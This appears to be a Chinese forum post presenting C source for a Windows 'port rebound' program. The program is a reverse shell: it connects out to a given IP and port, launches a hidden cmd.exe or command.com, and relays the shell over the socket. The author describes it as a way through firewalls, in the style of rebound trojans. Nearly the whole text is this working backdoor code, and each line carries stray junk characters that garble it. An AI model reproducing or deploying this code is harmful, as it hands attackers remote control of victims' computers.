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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Fu\#:+5\  
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/* ============================== ?YDMl  
Rebound port in Windows NT =W2I0nr.  
By wind,2006/7 O*x~a;?G  
===============================*/ KoWG:~>|  
#include Fg'{K%t4  
#include )vg@Kc26  
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#pragma comment(lib,"wsock32.lib") ~r'ApeI9  
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void OutputShell(); @`Dh 7Q  
SOCKET sClient; Uyeo0B"  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; wuXH'  
%da-/[  
void main(int argc,char **argv) zwP*7u$CH  
{ \%%M>4c  
WSADATA stWsaData; ;XlCd[J<  
int nRet; Ex@}x#3  
SOCKADDR_IN stSaiClient,stSaiServer; 'WBhW5@  
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if(argc != 3) =4U$9jo!;  
{ ~Ga{=OM??  
printf("Useage:\n\rRebound DestIP DestPort\n"); 4!-R&<TLve  
return; ">S1,rhgS  
} bki:u  
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WSAStartup(MAKEWORD(2,2),&stWsaData); oz[G'[\}F  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); y&\t72C$Fi  
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stSaiClient.sin_family = AF_INET; 9}42s+  
stSaiClient.sin_port = htons(0); J~ +p7S  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); fD8GAav  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) A1z<2.R  
{ Y$j !-l5z  
printf("Bind Socket Failed!\n"); hewc5vrL  
return; [D<(xr&N%  
} r?^L/HGc  
}jFRuT;35  
stSaiServer.sin_family = AF_INET; m6 Y0,9  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); A2\3.3  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); EaH/Gg3  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 1]A\@(  
{ "d M-3o<  
printf("Connect Error!"); V%C'@m(/SZ  
return; >fkV65w{*  
} ?[WUix;  
OutputShell(); -yu$Mm  
} P=y1qqC  
3Q)"  
void OutputShell() U7,.L  
{ `bn@;7`X  
char szBuff[1024]; |%3>i"Y@AK  
SECURITY_ATTRIBUTES stSecurityAttributes; 4$ah~E>,t  
OSVERSIONINFO stOsversionInfo; LfCgvq6/pO  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; MI.OOoP3a  
STARTUPINFO stStartupInfo; U_E t  
char *szShell; 73{<;z}i  
PROCESS_INFORMATION stProcessInformation; b.}J'?yLm  
unsigned long lBytesRead; Eq=JmO'gHs  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); hQNUA|Q=%  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); t+^__~IX  
stSecurityAttributes.lpSecurityDescriptor = 0; Pi,86?  
stSecurityAttributes.bInheritHandle = TRUE; iuM ,a F  
rsw= a_S  
2n#H%&^?a  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); }/IP\1bG  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); oJ#;XR  
y`/:E<fVk  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); :x^e T  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e"p){)*$  
stStartupInfo.wShowWindow = SW_HIDE; ec*Ni|`Z'  
stStartupInfo.hStdInput = hReadPipe; 9J<vkxG9`  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; jxYze/I  
ltkA7dUbu  
GetVersionEx(&stOsversionInfo); 1$:O9 {F  
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switch(stOsversionInfo.dwPlatformId) i~5'bSq c  
{ 1:u~T@;" `  
case 1: XXD4T9Wy  
szShell = "command.com"; "{~^EQq,  
break; J'L6^-gV  
default: SaRn>n\  
szShell = "cmd.exe"; d4A:XNKB  
break; Q#&6J=}  
} 0fV}n:4Pq  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); e. E$Ej]w  
Kv#Q$$)r  
send(sClient,szMsg,77,0); `nc=@" 1  
while(1) fN9uSnu  
{ TIF  =fQ  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 6\y?+H1  
if(lBytesRead) 'I>geW?{QK  
{ OL@$RTh  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); GNW.n(a  
send(sClient,szBuff,lBytesRead,0); @f,/K1k  
} zqRps8=  
else ^ 7)H;$  
{ |f$gQI!XW  
lBytesRead=recv(sClient,szBuff,1024,0); *h pS/g/3\  
if(lBytesRead<=0) break; >]Dn,*R  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); BXytAz3  
} /NuO>kQa  
} (tiE%nF+  
6.|[;>Km  
return; uE.. 1N&*  
}
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